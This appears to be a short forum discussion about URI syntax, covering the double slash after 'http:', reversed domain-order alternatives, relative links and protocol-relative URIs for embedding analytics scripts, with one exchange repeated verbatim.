So, yeah, if we used http/example.com/, we'd need to either change relative links or absolute links...but we needed to do that under the existing scheme, too. And ended up mostly ignoring it, and thus we have filenames that can be mistaken for URIs and you don't want to refer to relatively. We could do the same with relative links, requiring them to start with a ./ or a ../

...although we're sunk if the DNS root ever puts up a webpage. ;)

If the syntax was that way, how would we tell the difference between http://www.example.com/ and http://example.com/www/?

I'm probably just missing the point. Still, it could have easily been http:com.example.www and http:com.example/www. At least then people might understand the structure of those names better.

If the syntax was that way, how would we tell the difference between http://www.example.com/ and http://example.com/www/?

I'm probably just missing the point. Still, it could have easily been http:com.example.www and http:com.example/www. At least then people might understand the structure of those names better.

I have to say that now I regret that the syntax is so clumsy. I would like http://www.example.com/foo/bar/baz to be just written http:com/example/foo/bar/baz where the client would figure out that www.example.com existed and was the server to contact. But it is too late now. It turned out the shorthand "//www.example.com/foo/bar/baz" is rarely used and so we could dispense with the "//".

I would also like to add that protocol relative URI are useful. I'm sure some of you are familar with the hideous JavaScript Google recommend using for embedding Analytics into your HTML. It would make much more sense to source the file with a protocol-relative URI.